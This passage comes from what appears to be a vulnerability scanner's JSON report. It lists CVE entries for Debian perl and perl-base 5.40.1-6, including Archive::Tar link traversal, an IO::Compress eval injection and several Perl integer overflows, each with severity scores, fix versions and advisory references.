"ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30852", "https://access.redhat.com/errata/RHSA-2026:30856", "https://access.redhat.com/errata/RHSA-2026:30857", "https://access.redhat.com/security/cve/CVE-2026-42496", "https://bugzilla.redhat.com/2481314", "https://bugzilla.redhat.com/show_bug.cgi?id=2481314", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42496", "https://errata.almalinux.org/9/ALSA-2026-30856.html", "https://errata.rockylinux.org/RLSA-2026:30856", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://linux.oracle.com/cve/CVE-2026-42496.html", "https://linux.oracle.com/errata/ELSA-2026-30857.html", "https://lists.security.metacpan.org/cve-announce/msg/40396459/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42496", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42496.json", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.13Z", "LastModifiedDate": "2026-07-24T10:10:00.197Z" }, { "VulnerabilityID": "CVE-2026-8376", "PkgID": "perl@5.40.1-6", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "557491d5d25d44f8" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8376", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f01e4ad6eeff2f0c7f843f37a9782f926e6c7a1c4c642b96094b75f50867aeba", "Title": "perl: Perl: Heap buffer overflow when compiling regular expressions on 32-bit builds", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have a heap buffer overflow when compiling regular expressions with a repeated fixed string on 32-bit builds.\n\nPerl_study_chunk in regcomp_study.c checked the size of the joined substring buffer in characters rather than bytes. For a quantified fixed substring with a large minimum count, the byte length mincount * l could overflow SSize_t, producing an undersized SvGROW allocation; the subsequent copy writes past the end of the buffer.\n\nA caller that compiles an attacker-controlled regular expression on a 32-bit perl build triggers a heap buffer overflow at compile time.", "Severity": "CRITICAL", "CweIDs": [ "CWE-680" ], "VendorSeverity": { "amazon": 2, "azure": 2, "nvd": 4, "photon": 4, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 5.7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/1", "https://access.redhat.com/security/cve/CVE-2026-8376", "https://github.com/Perl/perl5/commit/5e7f119eb2bb1181be908701f22bf7068e722f1c.patch", "https://github.com/Perl/perl5/pull/24433", "https://nvd.nist.gov/vuln/detail/CVE-2026-8376", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-8376" ], "PublishedDate": "2026-05-26T00:16:57.15Z", "LastModifiedDate": "2026-09-08T22:19:18.373Z" }, { "VulnerabilityID": "CVE-2026-42497", "PkgID": "perl@5.40.1-6", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "557491d5d25d44f8" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42497", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3a27f0eec6256723c1ba1193e617d56ed175e8b5ab47474cb099ce8f54c6e1fa", "Title": "perl-Archive-Tar: perl-Archive-Tar: Arbitrary file modification via crafted hardlinks during archive extraction", "Description": "Archive::Tar versions before 3.08 for Perl extract hardlinks to attacker controlled paths outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to link() without validating it against absolute paths or .. segments, creating a hardlink that shares the victim file's inode.\n\nA subsequent write through the extracted name modifies the victim file, and the post-extraction chmod, chown, and utime block in _extract_file() (guarded only against symlinks via -l) applies the tar header's mode, owner, and timestamps to the shared inode during extraction alone.", "Severity": "HIGH", "CweIDs": [ "CWE-59", "CWE-732" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:H", "V3Score": 6.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-42497", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://lists.security.metacpan.org/cve-announce/msg/40396457/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42497", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.25Z", "LastModifiedDate": "2026-07-24T11:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-48962", "PkgID": "perl@5.40.1-6", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "557491d5d25d44f8" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-48962", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f419e3a49e4f250e27ce40aa5e9e5ad51b7036cd7af9287003ff1b2e1287826a", "Title": "perl-IO-Compress: perl-IO-Compress: Arbitrary code execution via attacker-controlled output glob", "Description": "IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled output glob.\n\n_parseOutputGlob() wraps the caller-supplied output glob string in double quotes and stores it in the parser state; _getFiles() then runs the stored expression through eval STRING. A literal double quote in the output glob closes the dquote wrapper, and the characters that follow are evaluated as Perl.\n\nArbitrary Perl in the output glob executes at the calling process's privilege.", "Severity": "HIGH", "CweIDs": [ "CWE-95", "CWE-94" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/27/4", "https://access.redhat.com/errata/RHSA-2026:29182", "https://access.redhat.com/errata/RHSA-2026:29210", "https://access.redhat.com/errata/RHSA-2026:29867", "https://access.redhat.com/errata/RHSA-2026:29941", "https://access.redhat.com/errata/RHSA-2026:30085", "https://access.redhat.com/errata/RHSA-2026:30086", "https://access.redhat.com/errata/RHSA-2026:30115", "https://access.redhat.com/errata/RHSA-2026:30843", "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30858", "https://access.redhat.com/errata/RHSA-2026:30859", "https://access.redhat.com/errata/RHSA-2026:30860", "https://access.redhat.com/errata/RHSA-2026:50262", "https://access.redhat.com/security/cve/CVE-2026-48962", "https://bugzilla.redhat.com/2481767", "https://bugzilla.redhat.com/show_bug.cgi?id=2481767", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-48962", "https://errata.almalinux.org/9/ALSA-2026-30859.html", "https://errata.rockylinux.org/RLSA-2026:30859", "https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch", "https://linux.oracle.com/cve/CVE-2026-48962.html", "https://linux.oracle.com/errata/ELSA-2026-30860.html", "https://lists.security.metacpan.org/cve-announce/msg/40434385/", "https://metacpan.org/release/PMQS/IO-Compress-2.220/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-48962", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48962.json", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-48962" ], "PublishedDate": "2026-05-27T04:16:31.333Z", "LastModifiedDate": "2026-08-05T13:23:22.46Z" }, { "VulnerabilityID": "CVE-2026-57432", "PkgID": "perl@5.40.1-6", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "557491d5d25d44f8" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57432", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7e5bb086e72b8c8ba4aa9b8d53a9dfd347aa233ddde4cfc4db101e7fdef4df9e", "Title": "perl: Perl: Information disclosure via integer overflow in pack/unpack operations", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have an integer overflow in S_measure_struct leading to an out-of-bounds heap read in pack and unpack.\n\nS_measure_struct adds each item's size times its repeat count to a running total with no overflow check, so a large repeat count in a pack or unpack template wraps the signed SSize_t total negative. The @, X, and x position codes then guard their moves with a signed length comparison that passes when the length is negative, advancing the buffer pointer out of bounds.\n\nA template derived from untrusted input can read heap memory past the buffer and return it to the caller.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "V3Score": 5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/6", "https://access.redhat.com/security/cve/CVE-2026-57432", "https://github.com/Perl/perl5/commit/40754edc72dd3e513d758153c0e2f0215897740e.patch", "https://github.com/Perl/perl5/commit/5f7eb6bbbe0510964e3fb1d6bb691e5445913e55.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780102/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57432", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57432" ], "PublishedDate": "2026-07-13T17:17:55.67Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-57433", "PkgID": "perl@5.40.1-6", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "557491d5d25d44f8" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57433", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4fc6d62ae3514fdc70dd2129f41d3215ebf29804326dd4dd1fe4ca1445122d8d", "Title": "Storable: Storable: Denial of Service via signed integer overflow in deserialization", "Description": "Storable versions before 3.41 for Perl have a signed integer overflow when deserializing a crafted SX_HOOK record.\n\nretrieve_hook_common reads a signed 32-bit item count from an SX_HOOK record and calls av_extend with that count plus one. A count of I32_MAX wraps the addition to a negative value.\n\nA crafted blob passed to thaw or retrieve triggers the overflow; av_extend receives the negative count and dies with a panic, terminating the deserialization.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/7", "https://access.redhat.com/security/cve/CVE-2026-57433", "https://github.com/Perl/perl5/commit/e4f681784bcdeaa91ff02a2fa4cdcae5c46779d7.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780100/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57433", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57433" ], "PublishedDate": "2026-07-13T17:17:55.783Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-9538", "PkgID": "perl@5.40.1-6", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "557491d5d25d44f8" }, "InstalledVersion": "5.40.1-6", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-9538", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6b57714c661b78cd50874bb42cd9168fb582cefce2e843526de3e9d7646defd7", "Title": "perl-Archive-Tar: perl-Archive-Tar: Denial of Service via crafted tar header with large entry size", "Description": "Archive::Tar versions before 3.10 for Perl allow memory exhaustion via attacker controlled entry size field in tar header.\n\n_read_tar() reads each entry's payload with $handle-\u003eread($$data, $block), where $block is derived from the entry's 12-byte size field in the tar header with no upper bound on that value.\n\nA crafted header declaring a multi-gigabyte size causes Perl to allocate a scalar of that size.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/4", "https://access.redhat.com/errata/RHSA-2026:49525", "https://access.redhat.com/security/cve/CVE-2026-9538", "https://bugzilla.redhat.com/2481315", "https://bugzilla.redhat.com/show_bug.cgi?id=2481315", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9538", "https://errata.almalinux.org/9/ALSA-2026-49525.html", "https://errata.rockylinux.org/RLSA-2026:49525", "https://github.com/jib/archive-tar-new/commit/f9af01426038e29d9578825a0cd3626946ab08c7.patch", "https://linux.oracle.com/cve/CVE-2026-9538.html", "https://linux.oracle.com/errata/ELSA-2026-49525.html", "https://lists.security.metacpan.org/cve-announce/msg/40396448/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.10/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-9538", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-9538" ], "PublishedDate": "2026-05-26T02:16:41.15Z", "LastModifiedDate": "2026-07-23T11:10:00.12Z" }, { "VulnerabilityID": "CVE-2026-13221", "PkgID": "perl-base@5.40.1-6", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "546ba1bdcd66d61" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-13221", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7dbad21b515f06798ea7e5fb13f1d2c3020a288e7a2c53064c50ce46d811549d", "Title": "perl: Perl: Incorrect regular expression processing via large regular expressions", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.10 produce silently incorrect regular expression matches when an alternation of more than 65535 fixed string branches is compiled into a trie in Perl_study_chunk.\n\nWhen such branches are combined into a trie, the delta between the first branch and the shared tail is stored in a 16-bit field. A branch count above 65535 overflows the field, and the trie's match decision table is truncated with no warning or error.\n\nA pattern of this shape produces false positive matches (matching strings it should not) and false negative matches (failing to match strings it should). When such a pattern gates an access or filtering decision, the result is wrong.", "Severity": "CRITICAL", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 2, "amazon": 2, "azure": 2, "nvd": 4, "oracle-oval": 2, "photon": 4, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N", "V3Score": 5.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/5", "https://access.redhat.com/errata/RHSA-2026:67155", "https://access.redhat.com/security/cve/CVE-2026-13221", "https://bugzilla.redhat.com/2499727", "https://bugzilla.redhat.com/show_bug.cgi?id=2499727", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13221", "https://errata.almalinux.org/9/ALSA-2026-67155.html", "https://errata.rockylinux.org/RLSA-2026:67155", "https://github.com/Perl/perl5/commit/03f74bbbd3a68350d926ee93d56ee4808c28c4c7.patch", "https://github.com/Perl/perl5/issues/23388", "https://linux.oracle.com/cve/CVE-2026-13221.html", "https://linux.oracle.com/errata/ELSA-2026-67278-0.html", "https://lists.security.metacpan.org/cve-announce/msg/41780104/", "https://nvd.nist.gov/vuln/detail/CVE-2026-13221", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-13221" ], "PublishedDate": "2026-07-13T17:16:48.923Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-42496", "PkgID": "perl-base@5.40.1-6", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "546ba1bdcd66d61" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42496", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2f3bc2a3e0ccabc678af04843b0776a28f1056c5dc560d56e7322a6af462aaba", "Title": "perl-archive-tar: perl-archive-tar: Path traversal via crafted symlinks allows arbitrary file access", "Description": "Archive::Tar versions before 3.08 for Perl extract symlinks with attacker controlled targets outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to symlink() without validating it against absolute paths or .. segments. The secure-extract mode check that guards regular file extraction does not cover the symlink target.\n\nA subsequent open through the extracted name reads or writes the attacker chosen path.", "Severity": "CRITICAL", "CweIDs": [ "CWE-59", "CWE-22" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "nvd": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30852", "https://access.redhat.com/errata/RHSA-2026:30856", "https://access.redhat.com/errata/RHSA-2026:30857", "https://access.redhat.com/security/cve/CVE-2026-42496", "https://bugzilla.redhat.com/2481314", "https://bugzilla.redhat.com/show_bug.cgi?id=2481314", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42496", "https://errata.almalinux.org/9/ALSA-2026-30856.html", "https://errata.rockylinux.org/RLSA-2026:30856", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://linux.oracle.com/cve/CVE-2026-42496.html", "https://linux.oracle.com/errata/ELSA-2026-30857.html", "https://lists.security.metacpan.org/cve-announce/msg/40396459/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42496", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42496.json", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.13Z", "LastModifiedDate": "2026-07-24T10:10:00.197Z" }, { "VulnerabilityID": "CVE-2026-8376", "PkgID": "perl-base@5.40.1-6", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "546ba1bdcd66d61" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8376", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fd6f164d5839a74a71275c5cdfe2a8c99c9b23a452a6780be8adc9437098cceb", "Title": "perl: Perl: Heap buffer overflow when compiling regular expressions on 32-bit builds", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have a heap buffer overflow when compiling regular expressions with a repeated fixed string on 32-bit builds.\n\nPerl_study_chunk in regcomp_study.c checked the size of the joined substring buffer in characters rather than bytes. For a quantified fixed substring with a large minimum count, the byte length mincount * l could overflow SSize_t, producing an undersized SvGROW allocation; the subsequent copy writes past the end of the buffer.\n\nA caller that compiles an attacker-controlled regular expression on a 32-bit perl build triggers a heap buffer overflow at compile time.", "Severity": "CRITICAL", "CweIDs": [ "CWE-680" ], "VendorSeverity": { "amazon": 2, "azure": 2, "nvd": 4, "photon": 4, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 5.7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/1", "https://access.redhat.com/security/cve/CVE-2026-8376", "https://github.com/Perl/perl5/commit/5e7f119eb2bb1181be908701f22bf7068e722f1c.patch", "https://github.com/Perl/perl5/pull/24433", "https://nvd.nist.gov/vuln/detail/CVE-2026-8376", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-8376" ], "PublishedDate": "2026-05-26T00:16:57.15Z", "LastModifiedDate": "2026-09-08T22:19:18.373Z" }, { "VulnerabilityID": "CVE-2026-42497", "PkgID": "perl-base@5.40.1-6", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "546ba1bdcd66d61" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42497", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:375ad000601fdfe73bd1e252f4326f5b2b76bae0c3b8b0f636c03aa84f6dc942", "Title": "perl-Archive-Tar: perl-Archive-Tar: Arbitrary file modification via crafted hardlinks during archive extraction", "Description": "Archive::Tar versions before 3.08 for Perl extract hardlinks to attacker controlled paths outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to link() without validating it against absolute paths or .. segments, creating a hardlink that shares the victim file's inode.\n\nA subsequent write through the extracted name modifies the victim file, and the post-extraction chmod, chown, and utime block in _extract_file() (guarded only against symlinks via -l) applies the tar header's mode, owner, and timestamps to the shared inode during extraction alone.", "Severity": "HIGH", "CweIDs": [ "CWE-59", "CWE-732" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:H", "V3Score": 6.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-42497", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://lists.security.metacpan.org/cve-announce/msg/40396457/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42497", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.25Z", "LastModifiedDate": "2026-07-24T11:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-48962", "PkgID": "perl-base@5.40.1-6", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "546ba1bdcd66d61" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-48962", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b746cc5737626627d7447405d5af272d5fd793e0388355c3315b978a33a860ef", "Title": "perl-IO-Compress: perl-IO-Compress: Arbitrary code execution via attacker-controlled output glob", "Description": "IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled output glob.\n\n_parseOutputGlob() wraps the caller-supplied output glob string in double quotes and stores it in the parser state; _getFiles() then runs the stored expression through eval STRING. A literal double quote in the output glob closes the dquote wrapper, and the characters that follow are evaluated as Perl.\n\nArbitrary Perl in the output glob executes at the calling process's privilege.", "Severity": "HIGH", "CweIDs": [ "CWE-95", "CWE-94" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { 